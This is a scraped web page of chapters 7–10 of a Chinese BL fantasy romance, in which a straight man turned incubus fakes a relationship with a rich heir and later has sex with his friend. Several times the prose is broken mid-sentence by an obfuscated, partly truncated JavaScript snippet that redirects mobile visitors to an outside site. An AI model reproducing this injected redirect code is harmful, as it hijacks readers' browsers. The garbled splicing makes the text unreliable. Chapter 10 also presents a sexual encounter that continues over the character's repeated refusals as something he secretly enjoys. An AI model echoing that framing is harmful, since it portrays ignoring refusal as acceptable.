《直男魅魔沦为万人迷后》 7. 第7章 叶临连忙松开手:“我们刚刚在吵架,你别误会。” 沈邵看着手腕被抓出红痕,若有所思。 梁文乐把叶临拽到自己身后,用力按住,他看着沈邵的脸,就想到自己今天又输给沈邵,一时之间不知道该说些什么。 沈邵淡定地开口:“你的男友脾气很暴躁,以后记得看好。” 说完他就转身离去,背影高大,像是柏木。 梁文乐不急着出去,转身去看叶临,指着眉心质问:“你刚刚跟沈邵做了什么,老实交代。” 叶临脑子转了好几圈,找到适合的措辞才开口:“我刚刚在挑衅他,他就说我这种人很可怜。还说你谈了我以后,应该很头疼。 然后我就假装生气,想跟他吵架,结果他非要走,我只好抓住他的手。” 梁文乐半信半疑:“真的吗,我怎么感觉你在利用我接近沈邵?” 叶临立即做出发誓的手势:“真的,我可以发誓,我是纯直男,绝对不可能喜欢男人,更别说沈邵了。” 梁文乐见叶临眼神坚定,就相信了。 毕竟沈邵不喜欢自己,跑去喜欢叶临这种蠢货,岂不是说明他连蠢货都比不过,这是他无法接受的事情。 叶临继续补充:“你看,他都觉得你跟我在一起会头疼,说明他在意你,不满你跟我谈恋爱,他肯定喜欢你。” 梁文乐瞬间就来了兴趣:“你说的也是,不在意我,为什么要说那种话,果然是在装。” 叶临见他高兴,趁机提出要求:“你看我今天做了这么多努力,钱该结了吧。谁不知道我们梁少爷大方,肯定愿意多给点。” 梁文乐嫌弃他这副贪财的模样,但还是给他转了一百万,反正这点数目在他眼里,根本不算钱。 收到一百万转账的瞬间,叶临激动地快要跳起来,连连夸奖梁文乐大方善良。 他觉得,跟着梁文乐来钱快,可比那个破魅魔系统有用多了。 有个富少忽然走进来,看见这对情侣站在这里。不理解,但还是开口邀请梁文乐去参加今天晚上的泳池派对。 泳池派对上应该有很多高富帅,到时候又可以多认识几个。而且这种场合,泳池里肯定全部都是身材好的美女帅哥。 叶临刚听完眼睛就亮了,抓住梁文乐的手:“文乐,我都没有去过这种地方,今天晚上就去泳池派对吧,感觉很有意思。” 梁文乐想骂他没见识,可是忽然想起来叶临是他名义上的男朋友,为了展现自己的善解人意,还是故作宠溺地应和:“好好好,今晚去泳池派对。” 泳池派对在临海的别墅举办。 这栋别墅设计精巧、采用西式古典风格,像是一座现代化古堡,恢宏大气。 空中悬挂着皎月,月光如同银色的纱幔,温柔地铺满别墅的每一寸空间。巨大的露天泳池,宛如一颗宝石,池水清澈见底,波光粼粼。 泳池里有很多穿着泳装的美女帅哥,随便拎出来一个都能去做颜值网红。 他们在水中嬉戏打闹,溅起一朵朵欢乐的水花。 上次在酒吧包厢里见到的场景,都算小场面了。在这栋别墅里,才知道什么叫做花天酒地,夜夜笙歌。 叶临盯着泳池里的人群看,倒了一杯香槟喝下,压压惊。 有人认出他的身份,都奇怪他凭借什么本事,能够坐在梁文乐旁边。虽然心中都有不满,但还是忌惮着梁文乐,没有说话。 梁文乐注意到叶临一直盯着泳池:“怎么,你很想进去玩吗?” 叶临诚实地点头:“有点,我还没有见过这种场面,好多美女啊。” 梁文乐嗤笑一声,忍不住嘲讽:“你进去玩吧,反正也不会有美女喜欢你,谁让你没钱没势。” 叶临今天尝到百万巨款的滋味,早就没有了所谓的傲骨,就算心里对梁文乐不满,但表面还是朝着梁文乐靠过去,谄媚道:“文乐就是我的钱,我的势啊。” 他靠过来的时候,有股淡淡的香气,软得像是没有骨头一样。 哪怕是最拙劣的讨好话语,梁文乐听了,心脏的跳动频率都随之变快,立即推开叶临,结结巴巴地骂道:“你,你这个笨蛋,离我远点!” 叶临偏不,还要去抓他的手指扣住,小声提醒:“我们名义上不是在谈恋爱嘛,你让我离远点,会露馅吧?” 梁文乐感觉到手心里的热意,忍不住骂:“你故意的吧!” 故意做出这种让人误会的动作,故意靠近他,故意让人慌乱! 一个身材高挑的泳装美女站在高处,手里拿着黄球对着泳池里的人高喊:“我要扔了,谁接到球,我就亲谁!” 叶临激动地站起来,也不管梁文乐,急匆匆地跳进泳池里,也想参与这项接球活动。 他一直在小地方生活,长大以后就是去电子厂,见过的美女屈指可数。 今天晚上这个泳装美女,在他眼里就是顶级的美艳,得到美女香吻,此生都无憾了。 梁文乐看到叶临痴迷的眼神,一股无名火涌上来。 明明他早就知道叶临是直男,会对女生产生兴趣。 而且他们也只是协议恋爱,没必要管对方喜欢谁,但此刻,就是感觉到了背叛的感觉。 刚才还说会怕露馅,靠着他的肩膀撒娇,现在看见美女就巴巴地往上凑,真是气人! 梁文乐的脸色逐渐阴沉,心里已经酝酿好报复的计划。他迅速朝着几个狐朋狗友走过去,准备好好地惩治叶临。 泳装美女自信大方,将球高高地抛去,注视着它下落。 泳池里瞬间乱成一锅粥,池水飞溅,打湿边缘,各色的泳装晃动,混杂成色团。 叶临看准黄球的位置,拼命地朝着它跑过去,半路被人绊倒好几次,倒进池水里,受伤还是抢到黄球。 所有人都惊讶他能够抢到黄球,包括梁文乐本人。 泳池里的人都得到了授意,看到叶临都会故意绊倒他,阻止他靠近黄球。 但是没想到这家伙的意志力居然这样强大,跌倒很多次,还是抢到了黄球。 这下场面就变得尴尬,美女和其余人都看向梁文乐,等他的授意。 叶临拿到黄球 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15483416|170058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的时候,猛然想到自己现在是梁文乐的男朋友,确实不应该抢球,只好把黄球递给旁边的男生,干笑起来:“那个,我,我就是随便凑个热闹,给你吧。” 梁文乐脸色难看,死死地盯着他手里的球,手上却在摆弄酒杯:“既然抢到就拿着吧,反正今天大家都是来玩的。” 叶临看他的态度缓和,观察四周也没有沈邵的身影,瞬间就明白梁文乐今天晚上不会管他,于是朝着美女走去。 美女笑起来,走出泳池,跟他说道:“我比较害羞,你跟我来。” 叶临捧着球,高高兴兴地跟过去,完全没深想原本开放的美女,怎么突然变得腼腆了。 他们走进别墅里的一个房间里,隔绝了泳池里的嘈杂声,面前还有床,不由得让人浮想联翩。 美女故作害羞地咬嘴唇:“你,你先闭眼好吗,待会儿我让你睁开眼,你再睁眼。” 叶临立即闭眼,还保证:“你放心,只要你不允许,我绝对不会睁开眼。” 过了一会儿,手就被人往后拽,用东西铐起来。 美女这是做什么,不仅是亲吻,想做别的吗? 叶临太好奇了,悄悄地睁开一条缝,结果发现房间里的灯全灭了,只能隐约看见一个人影在他的面前。 应该就是美女了,她有特殊癖好。 叶临激动地扑过去亲,感觉到软意,就想往里钻。 可是很快,他就被扇了一巴掌。 巴掌扇在脸上是火辣辣地疼,可是还带着香味。 叶临没骂人,还要表白:“你可以打我,也可以踹我,我都喜欢。” “叶临,你真是个恬不知耻的贱货!” 听到熟悉的声音,叶临瞬间就萎.靡了,甚至还产生了恐惧感:“是文,文乐啊......” 房间里的灯亮起来,能够看清楚面前站着梁文乐。 他又气又羞,脸颊都是红的,看着叶临的眼睛里有许多复杂的情绪:怨恨,羞愤,惊讶。 叶临一想到自己主动吻了男人,恨不得跑进厕所里狂吐,但面对梁文乐,还是要强装镇定:“文乐,你怎么来了?” 梁文乐用力搓嘴唇,像是被人轻薄了一样,大声骂起来:“你这个蠢货,当众跟别人眉来眼去,现在还想做这种事情,是想死吗!” 看来那个美女是被梁文乐叫走的,他果然在一众公子哥的声望颇高,不能得罪他。 叶临很无辜:“那是你当众答应了的。再说了沈邵又不在,我就以为你真的同意了,谁知道你突然进来。” 本来想把叶临铐起来暴打一顿,让他长长记性,认清自己的地位。 谁知道被亲了! 梁文乐从未接过吻,现在还能够回想起叶临吻上来的感觉,是柔软的,温热的,总之很奇怪。 他恼羞成怒,朝着叶临下命令:“你现在就给我跪下来认错,气死我了!” 叶临最喜欢钱了,痛快地跪下来,假装忏悔,随口就来:“我真是个混蛋,居然轻薄了文乐,罪该万死!文乐,求求你原谅我吧,我下次再也不敢了。” 8. 第8章 梁文乐听他的语气轻佻,活像是街头流氓,而自己则是被调戏了。 “闭嘴!说什么鬼话!” “我跟你认错啊。”叶临站起来,走到梁文乐面前,背过身去:“帮我解开吧,这样不方便活动。” 梁文乐哼了一声,打开门往外走:“就不解开,你活该。” 叶临感觉到梁文乐在闹脾气,只好老老实实地跟上去,不断地说好话:“善良的文乐,帅气的文乐,求求你帮我解开。” 梁文乐见他这副狗腿的模样,并没有生气,反而觉得滑稽,故意磨他:“那你知道自己哪里错了吗?” 叶临觉得自己没错,但老板不满意,只能继续道歉:“我哪里都有错,今天惹文乐不高兴,是最大的错。” 这个答案模糊,明显就是敷衍人,根本不知道自己错在哪里。 可是叶临一直叽叽喳喳的,像个青蛙,聒噪得厉害,烦死了! 梁文乐的眉头微皱,没有回应。 叶临顿时想到梁文乐为了沈邵守身如玉多年,立即说道:“我知道,我今天晚上不该亲文乐。文乐要为沈邵守身如玉,我真过分!” 梁文乐听到这里,羞得涨红了脸:“我真该扇烂你的嘴!” 叶临的声音小下去,眼神诚恳:“我知道错了。不过文乐,男生之间磕磕碰碰很正常。我刚刚就是碰了一下,也不算是初吻,你就不要放在心上了。” 这当然是初吻,混蛋叶临这么熟练凑上来,以前都不知道亲过多少人,真是膈应。 梁文乐越想越气,整张脸都红了,看起来有了血色。 叶临忽然又觉得梁文乐这种过分精致的脸顺眼了,就像是欧洲中世纪的小王子,嚣张跋扈,但优雅矜贵。 他记得原著里有说,梁文乐有1/4的混血,怪不得精致好看。 这时,有两个富二代走过来,瞧见二人的架势都有了猜想。 其中一个富二代走到梁文乐旁边,按住他的肩膀:“呀,文乐在玩这个呢。” 还有一个富二代看向叶临:“怎么不懂事呢,这个时候就应该跪下,捧着文乐才对。” 梁文乐听他们说的不正经,连忙打住:“你们赶紧给我滚开,烦死了!” 两个人笑嘻嘻地走开,小声议论,总之应该跟“纯情梁文乐长大”的话题有关。 叶临看他们这副模样,连忙凑上去:“你看,你不帮我解开。我跟着你,他们说这些话,你又不高兴,还不如解开。” 梁文乐骂骂咧咧地帮他解开镣铐,朝着停车场走去。这场泳池派对,他是彻底没兴趣了,想立刻离开。 别墅临海,远离市区。这个点很难打到车,只能乘坐梁文乐的车回去。 叶临跟着到了停车场,打开车门就坐上副驾驶座,跟梁文乐报了大概位置。 梁文乐微微抬眉看他,没好气地反问:“你还要我送你回去,真把我当男朋友了?” 叶临不可置否:“那是你把我带来这里的,也应该把我送回去吧。” 从来都只有梁文乐要求别人的份,怎么叶临居然敢要求他! 不就是建立了个恋爱合约,还当真了? 梁文乐猛地砸方向盘,死死地盯着叶临,正在思考怎么为难这个蠢货。 叶临忽然想到赛车的时候,梁文乐开车差点要了他们的命,连忙道:“你今天参加聚会辛苦了,我,我来开回去吧。” 梁文乐直接启动,迅速开出去,眼睛直视前方:“是你自己非要上车的,我可不送你回去,在高速随便找个地把你丢下去。” 叶临连忙说好话:“别啊,我会冻死的,这样怎么帮你追到沈邵。” 梁文乐故意把车开得很烂,专挑难走的道路,希望把叶临折腾吐。 深夜,万籁俱寂,红色的车如暗夜精灵般,在蜿蜒的海岸线上肆意穿梭。 车身在皎洁月光下泛着幽邃而神秘的光泽,似深海里快速移动到章鱼,不羁而张扬。 很快叶临就说不出话,瘫倒在座椅上,两眼无光,一副要死的模样。 这回梁文乐满意了,停在一栋别墅面前,解开安全带下车。 叶临察觉到这里不是市区,就知道是梁文乐家里。 梁文乐就是少爷脾气,刚刚开车是为了故意折磨他,又怎么可能送他回市区呢。 罢了,在哪里不是睡,今天晚上就在这里住吧。 而且叶临还没有睡过大别墅,看到眼前恢宏壮丽的别墅,就像是树木见到阳光,又重新恢复了生机。 梁文乐察觉到他跟上来,头都没回,出声骂他:“你自己回市区啊,跟过来做什么?” 叶临十分理所应当:“我名义上是你的男朋友,那同居很正常,今天晚上就睡这里好了。” 梁文乐转过身来看他,脸色难看。 叶临只好装可怜,肩膀发抖:“文乐你可怜可怜我好了,在外面睡会死的。而且我看你家里挺大的,随便给我个房间就好了。” 梁文乐注意到他的嘴唇颜色很淡,额头和手臂上都有伤,前者是被车折腾的,后者则是在泳池里摔倒好几次,好像确实挺可怜的:“行吧,那你在一楼睡。” 叶临点点头,乐得高兴,反正这种大别墅,一楼条件根本不会差。 别墅每一层都会做挑高处理,看起来气派宏伟,花纹繁复的地毯,架子上的古董.....到处都彰显出奢华。 刚走到客厅,就听到几声狗叫。 只见一只毛发雪白蓬松的萨摩耶欢快地跑过来,疯快地蹭梁文乐的腿,吐着舌头笑。 粉色的小耳朵立起来,非常可爱。 梁文乐摸摸它的头,柔声说道:“圆圆,他是个坏人,你别靠近他。” 圆圆歪头去看叶临,眼睛还眨了眨。 叶临很想摸萨摩耶柔软蓬松的毛,但碍于梁文乐,还是站远了点。 梁文乐跟圆圆玩了一小会儿,就打着哈欠走上二楼。 等到他离开,圆圆立即就冲着叶临飞跑过去,直接把人扑倒了,高兴地哼哧哼哧。 叶临没想到这狗亲人,笑着摸摸它身上的毛,还调侃:“你主人是个脾气怪异的坏蛋,对不对?” 圆圆“汪汪”两声,又去蹭叶临的手心,它根本不知道怕陌生人,知道家里有多了个人陪自己玩,特别高兴。 叶临陪它玩了好久,才选了一个睡觉的房间,旁边就是浴室,很方便。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15483417|170058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 或许是太累了,今天晚上睡得格外香。 直到听到砸东西的声音,叶临才醒过来。 好像是瓷器被砸碎,还有重物掉落在地上,都从楼上传来。 不会是梁文乐摔倒了吧? 叶临窃喜,觉得梁文乐就是活该。 可是听久了,才知道梁文乐在砸东西,那就正常。 鬼知道,谁又惹这位大少爷生气了。 叶临照常洗漱,来到客厅,已经有做好的早餐。 保姆看见他,还以为是少爷的客人,于是请他就坐。 片刻后,梁文乐顶着一张臭脸下楼。 结果瞧见吃完饭的叶临,正蹲在地上跟圆圆玩。 而且圆圆高兴地摇尾巴,还配合地做出各种动作。 昨天晚上,他梦见叶临亲他,紧接着他就反击回去,还把叶临的双手控制住。 叶临的眼睛水润润的,嘴里还说着:“文乐,疼,疼疼我。” 他肆意地动作,慢慢地有了奇异的感觉。 醒来后,床单就脏了。 这还是青春期过后,梁文乐第一次遇到这种事情。 而且以前,他都没有梦到沈邵。 现在梦见了叶临这个蠢货,圆圆还亲近叶临,心情自然不好。 梁文乐走过去,阴阳怪气:“坏狗,才一天你就被蛊惑了!” 圆圆听到他的声音,立即跑过去蹭他的腿,结果始终得不到抚摸,委屈地耷拉耳朵,尾巴都垂下去。 它听不懂人话,只想要主人的摸摸,可是主人生气了,完全不知道该怎么办。 叶临看不过去,把圆圆抱过来哄:“你别听他胡说八道,你是世界上最好的狗狗,超级可爱!” 梁文乐见状,就想到叶临跟自己说好话的模样,用力地用叉子戳戳牛排:“油腔滑调!” 圆圆高兴地晃晃尾巴,开始在房间里乱跑,跟叶临追逐玩耍。 一人一狗都非常有活力,那怕是在室内,恍惚间,都能在他们身上看见阳光的痕迹,耀眼而明媚。 梁文乐放下叉子,看向叶临:“带它出去玩,少在这里乱跑!” 叶临去跟管家要了牵狗绳,带着圆圆离开别墅,到了外边的院子里玩。 院子非常大,种植了许多花木,跟好几个足球场一样大,萨摩耶可以在这里肆意地奔跑。 叶临的体力足,可以陪着它到处跑,累了就躺下来,享受日光。 其实醒来就该走了,但他很喜欢圆圆,所以又多留了一会儿。 圆圆跑累了,乖乖地坐在旁边,任他揉摸。 手机铃声忽然响起来,是顾嘉致打过来的电话。 叶临滑动接听。 “喂,咋了?” “你一晚上不回来,去哪里了?” “我在梁文乐这里过了一夜。” “你跟文乐.睡.了!?” “没有,你别瞎想,我们只是演戏给沈邵看。对了,沈邵给了我钱,我先还你五十万吧,剩下的后面再还。” 毕竟是朋友,有借有还,日后才好相见。 “不用还,你什么时候回来?” “就今天啊。” 9. 第9章 叶临说完就感觉到圆圆在蹭自己,随便说两句敷衍顾嘉致就挂断电话,继续陪圆圆玩耍。 “圆圆,你喜欢我,还是喜欢梁文乐啊?” “汪汪汪!” 圆圆听不懂叶临的话,只是一味地往他手心里蹭。 平时都没有人陪它在草地上玩,顶多是拎着散步,所以格外喜欢面前的人类。 叶临太喜欢这只香香软软的萨摩耶了,边玩小耳朵边问:“圆圆,你主人脾气特别差劲,特别坏,对不对?” 圆圆只会“汪汪汪”,但在叶临耳朵里,这已经算是肯定的回答。 果然,狗都不能忍梁文乐,他赚的纯粹是辛苦钱。 叶临刚想查询余额,就感觉到身后有人,回头看去。 居然是梁文乐。 梁文乐的脸色差劲,先是看圆圆,又是看叶临,冷冷道:“你刚刚说的话,我都听见了。” 叶临吓得站起来,圆圆也感觉到什么,躲在叶临的腿后面,没有叫唤。 梁文乐招招手,圆圆才跑过去给他摸:“你这只坏狗,脑袋小小的,笨死了,这么轻易就被他骗了。” 叶临看到他没有大发雷霆,瞬间就松了一口气,赶紧找补:“其实你也不是脾气坏吧,就是被很多人爱着,所以任性了点。” 梁文乐勉强接受这个答案,也是,他从小就过着众星捧月的生活,哪里是叶临这个可怜鬼能比的。 好吧,其实叶临孤零零的,叶家还不肯认他,挺可怜的,就不跟他计较了。 梁文乐抬眼去看叶临:“这段时间我要去上课了,暂时给你放假,别跑太远。如果有需要,随时叫你。” 叶临点点头,又觉得疑惑:“原来你还要上学啊,我以为你........” 以为你整天游手好闲的,像个无业游民,不需要上学上班呢。 梁文乐说到这个就来气,忍不住骂:“烦死了,都怪那些混蛋多嘴。本来我去上大学就是走个形式,现在每周都要去两次,累死了。” 叶临无法理解:“一周就去两次还不好啊。” 梁文乐剜了他一眼:“当然不好了,本来每天自由自在的,现在一想到每周都有事情干,我就不舒服。我什么时候吃过这种苦,气死我了!” 看得出来,是梁家管太严了,都不能请代课,所以梁文乐非常烦躁。 那还是先溜走吧,免得惹他生气。 叶临赶紧道别:“那我就不打扰了,先走。” 梁文乐想到他昨天提到的地点:“等等,刚好你昨天要去的地方就在大学旁边,顺路一道去吧。” 叶临没想到他记性这么好,反正能节省了一笔交通费用,干脆答应。 这次是司机在前面开,梁文乐坐在后排睡觉,叶临在旁边玩手机。 车行驶得很平稳,安全性很高。 慢慢的,叶临也困了。 到达目的地,还是梁文乐先醒过来,他看见肩膀靠着叶临,连忙推开。 前面的司机见状,笑起来:“听说少爷谈恋爱了,这个人看着还挺朴实的。” 梁文乐连忙解释:“也不算谈,就是随便玩玩。” 叶临迷迷糊糊地睁开眼,没听见他们的话,看向车外面。 只见他们身处一个集合了很多高大教学楼的地方,四周来往的人都是年轻的脸庞。 司机送顾嘉致下车,先行离开。 这里是停车场,对面就是教学楼,再远一点就是那天在顾嘉致家里看见的运动场了。 原来顾嘉致跟梁文乐上的同一个大学,他们两个人都还是学生嘛,完全看不出来。 叶临在心里默默地吐槽,忽然看见顾嘉致朝着他们走过来。 顾嘉致手里拿着书,换上了学院风格的衣服,看起来真有学生味了。 他先是看了叶临,接着又去看梁文乐:“哟,我们文乐也来上课了?” 梁文乐气得骂起来:“我和你说,都怪那几个混蛋,就是我们上次喝酒.........” 叶临忽然有种遇到难兄难弟的感觉,顾嘉致跟他都是一个境遇,哪怕心里很嫌弃梁文乐,嘴上还要说好话。 顾嘉致说着说着,跟他眼神对视,鬼使神差地来了一句:“文乐,你不会跟他真谈恋爱了吧?一起去赛车,一起去参加泳池派对,还一起上学校。” 梁文乐严肃纠正:“才不是呢,我就是看他可怜,所以载他一趟。” 叶临叹息一声,其实他很后悔坐梁文乐的车:“你们先聊,我先走了。” 梁文乐懒得看他,嚷嚷着下课要跟顾嘉致去哪里快活。 回到公寓后,叶临就躺在沙发上刷视频解闷。 刷完视频,他就打开时下热门的游戏玩,度过了整个上午。 以前上班的时候,他就很想有自由的休息时间,能尽情地玩游戏刷视频。 可是现在有时间了,反而觉得有点无聊。 难道是因为他没啥爱好吗? 梁文乐就有个赛车的爱好,但他的技术确实太烂了,还人菜瘾大。 叶临忽然想到骑车,以前在初中的时候,他就骑着摩托在大街小巷穿梭,偶尔还能得到妹子的青睐。 他的骑车技术,可比梁文乐那个草包好太多了。 现在有钱了,也该买个好的摩托玩玩吧。 叶临开始查时下热门的机车,这回他有钱了,必须买个最贵的,骑出去才有面子。 可是才看一会儿,就感觉到脑子晕乎乎的,还非常地热。 【宿主的饥饿值已经达到90%,到达峰值100%就会陷入混乱状态。】 饥饿值,可他不饿啊? 叶临跑去厨房,猛吃几口。 【宿主的饥饿值已经达到95%,请快速补充。】 不是,他补充了啊,怎么还饿呢,都快撑死了! 【宿主,魅魔需要补充人.类.题.液,以此消解饥饿值。】 什么东西? 叶临感觉太热了,拿出空调遥控调低温度,可是直到16℃,他还觉得热。 真是太奇怪了,不仅走路晕,还感觉四肢发软,快要昏过去。 叶临艰难地朝着卧室移动,躺下来就拿出手机搜索有关魅魔的信息,其中就包括系统口中的人.类.题.液。 看了网友直白的解释,他总算是明白了,还需要男性的。 【是,宿主需要男性的。请尽快补充,饥饿值98%,就快要到临界值了。】 男性,男性? 叶临光是想想跟男性接吻都觉得可怕,但是他脑子却浮现出顾嘉致的面容。 那天在客厅,他和顾嘉致接吻,好像也不是很讨厌。 而且顾嘉致是他的好兄弟,比较靠谱,应该不会把这种事情说出去。 叶临拿出手机给顾嘉致打电话。 “喂,你又有什么事?” “嘉,嘉致,江湖救急,我好难受,你快回来亲我一下。” “你这是做什么.......” 顾嘉致不是傻子,一下就听出来叶临的声音状态不正常,连忙起身,准备离开台球厅。 梁文乐赶紧叫住他:“你怎么回事,哥几个不是说好了,要玩几十把再走吗?” 顾嘉致看到梁文乐,眼神变得古怪,还是淡定回答:“家里有急事,先回去。” 有人笑起来,故意嘲笑:“哎呀,嘉致恋爱都没谈,家里还能有什么人啊?” 梁文乐也疑惑:“对啊,你家里有什么人,这么着急,居然要抛下我们?” 顾嘉致懒得跟他们多说,简单收拾好就离开台球厅。 梁文乐看着他匆匆离去的背影,总有种奇怪的感觉,就好像是10岁那年看到顾嘉致偷偷买了零食,背着他爸妈躲起来吃,急切又兴奋。 已经是下午四点多,阳光变得柔和,洒在房间里,增添了不少温馨。 顾嘉致刚打开门,就叫了叶临的名字,但是没有得到回应。 这家伙平时都是瘫在客厅的沙发上,现在却没有人影。 只好往房间走去,隐约听见叶临的声音。 顾嘉致顿时站住了,耳尖还是发烫,他听得出来是什么,不敢移动。 “好热.........”叶临的声音还在持续,从门缝里传出来。 就连门都没关紧,这是故意的吧! 顾嘉致推开门,却看到令人讶异的情形。 只见叶临的头顶长出来盘羊似的黑角,脸颊泛红,眼睛里水汪汪的,而且身后还伸出黑色的细长的桃心形尾巴。 还是玩上扮演游戏了? “你打电话叫我回来,就是为了给我看这个?” “说我们是朋友,那你还整这一出,装死了!” 顾嘉致走过去,抓住叶临的黑角,想把这个装饰品拽下来,结果发现拽不动,后知后觉地明白,这是长叶临头上的? 叶临感觉到有人,主动揽住他的脖颈和双 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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顾嘉致察觉到他的脸色,故意挠:“为什么不给,是你主动扑上来的,我做什么都可以吧。 话说你这个角,到底是自己长的,还是买的头饰,这么逼真,还扯不下来?” 叶临不回答他了,靠着肩膀哼哼唧唧,尾巴完全都抬起来,像是小鞭子在挥舞。 看得人心痒痒的。 顾嘉致握住尾巴,不让他乱动,故意说道:“我不仅要摸你的角,还玩你的尾巴。” 叶临看着他,仰头去亲,主动索取。 他是魅魔,非常需要这些东西,所以才会急切地索取。 过了一段时间,两个人都配合默契,犹如鱼和水,可以和谐相处。 叶临有时候会掉眼泪,颗颗如珍珠,晶莹剔透。 哪怕是哭了,他还要靠在顾嘉致的怀里,仿佛这样就可以安慰到自己。 但是顾嘉致才是弄哭他的人,被弄哭了却向混蛋索取安慰,这样蠢得很可爱。 顾嘉致太喜欢了,不断地低头亲,说了很多混蛋话。 他从未有过这么爽快的体验,他早知道叶临这么好。那天晚上就不会让叶临睡在旁边,什么也不干。 【宿主饥饿值50%,解除魅魔形态。】 叶临一直迷迷糊糊的,忽然听到这个声音,瞬间就恢复了清醒。 他身上的角和尾巴全都消失,又恢复了正常人的样子。 但是面前的景象,却不像正常情况。 比起混乱,甚至可以说可怕!!? “顾嘉致,你,你.........” 叶临都不用环顾四周检查情况,回过神的瞬间就知道他和顾嘉致之间发生了什么事情。 顾嘉致爱死他这种懵懂无知的模样了,亲了亲眉眼,由衷感慨:“还好你昨天晚上没有便宜梁文乐那个蠢货。” 叶临恐惧之后就是羞,他尝试推开顾嘉致,可是发现自己没什么力气。 呼吸都不匀,呼出来的还是热气。 “嘉致,你听我说。这些都是意外,你,你先分,离开这里,我跟你解释清楚。” “什么意外,对了,你的尾巴和角呢?” 救命,他那个鬼样子也被顾嘉致看到了! 叶临绷不住,很想就地挖土,埋了自己。 10. 第10章 这种时候,顾嘉致哪里有心情听他细说,先做正事要紧。 叶临越是要他别动,越是能够激起他的逆反心理。 “嘉致,你!” “刚刚不是还很喜欢嘛,怎么现在又装?” “都是意外,我什么时候说喜欢了,而且........” 顾嘉致没有给他继续说话的机会。 接下来叶临只能发出断断续续的声音,就连承受不住发出的哭音,都破碎成无数段。 叶临从来没有体会过这种感觉,就像是乘坐过山车,时而在高处俯视地面,时而又迅速跌倒谷底。 而且过山车是有固定轨道的,而这种事情却没有。甚至于,一切都是由顾嘉致掌控,又不是他本人。 有时候,他都怀疑自己的灵魂会出窍,瞬间飞出去,不复返。 可是顾嘉致又会凑到他耳边说些让人羞的话,将他灵魂唤回来。 叶临实在是受不了,疯狂地拍打顾嘉致的手臂,大骂起来:“都说了不要,你耳朵聋了是吗,我真无语!” 顾嘉致被打了也不生气,只是笑着亲亲他的眉眼:“急什么,你不是很喜欢吗,你看.......” 叶临的脸颊涨红,下意识地埋进他的胸膛里,紧紧地抓着手臂,不肯去看了。 顾嘉致就喜欢他这种主动寻求庇护的感觉,心里得到了巨大的满足,低头在脖颈落下一吻。 其实真不难受,只是叶临一时之间接受不了这种事情。 可是男人天生就容易屈服于快活,嘴上说着“不要”,“恶心”. 但实际上还是很喜欢,没多久就不是很排斥这种事情。 甚至于叶临都开始试着指挥顾嘉致,要求他按照自己的需求来。 窗外的太阳逐渐消失,直至夜幕完全降临,房间里终于没有了声音。 叶临躺着休息,脸颊还是红红的,额角还有汗水。 这种事情比体测跑一公里还要累,都抬不起手指。 唯一的安慰是,该死的饥饿值恢复到0了,短时间内总算不用担心失去理智。 【宿主的饥饿值目前为0,前五个小时的金钱增速为每小时20万,现在金钱增速为每小时100。】 怎么金钱增速突然增快,而且跨度也太大了吧! 20万,他都怀疑系统报错数字了。 【因为刚刚的五个小时里,距离达到了负20cm,所以增速变快。】 负数??! 距离0是贴,那负数岂不是......... 怪不得他刚刚就感觉肚子疼,原来是顾嘉致这个混小子。 叶临的脸颊红透了,他回想起刚刚的事情,生气又无奈,同时还感到羞耻。 顾嘉致在旁边抱着他,亲了一下:“你刚刚不是要解释,你的角和尾巴怎么回事?” 叶临尝试着用通俗易懂的语言跟他解释,自己其实是个魅魔,饥饿值到达100就会陷入混乱状态,非常需要男性。 金手指的作用原理就不说了,他还是想独享赚钱的道具,不想跟顾嘉致分享。 顾嘉致花了好几个小时,才勉强接受他口中的事实,但还是半信半疑:“所以你现在的饥饿值是多少?” 叶临比了个“ok”的手势,抱怨起来:“就是0啊,本来接个吻就能消除,谁,谁让你做那种事情!” 顾嘉致不以为然:“那能够一步到位消除,为什么要选择接吻这种麻烦的方式。” 确实是这样,接吻能消除的饥饿值非常有限,而那种事情就非常快。 叶临不跟他反驳,指着他的眉心,郑重道:“这件事情,你不要告诉别人,知道吗?我可是把你当成好兄弟了,别出卖我!” 顾嘉致听到“好兄弟”,总有种怪异的感觉。但他又不想跟叶临谈恋爱,所以欣然接受这个称谓。 “那以后饥饿值上升了,你会去找别人消除吗,比如沈邵,梁文乐他们?” “当然不会,我本来就不想跟男人那啥,刚刚都是意外,要是我提前控制就好了。” “你这样很危险的,要是在大街上变成魅魔,会被一堆男人围着欺负,更严重的是被人抓去研究所,电击做实验。” 叶临看过类似的科幻电影,主人公是个外星人,然后被抓去研究所做实验,浑身都是伤痕,特别凄惨。 虽然他现在是安全地呆在公寓里,但是脑子里已经浮现出一堆穿着白大褂的研究人员把他抓走,用各种针扎他,做各种实验。 确实太可怕了! 要是饥饿值在大街上满了,他肯定完蛋! 必须想办法消除饥饿值,也就是找个信任的男人。 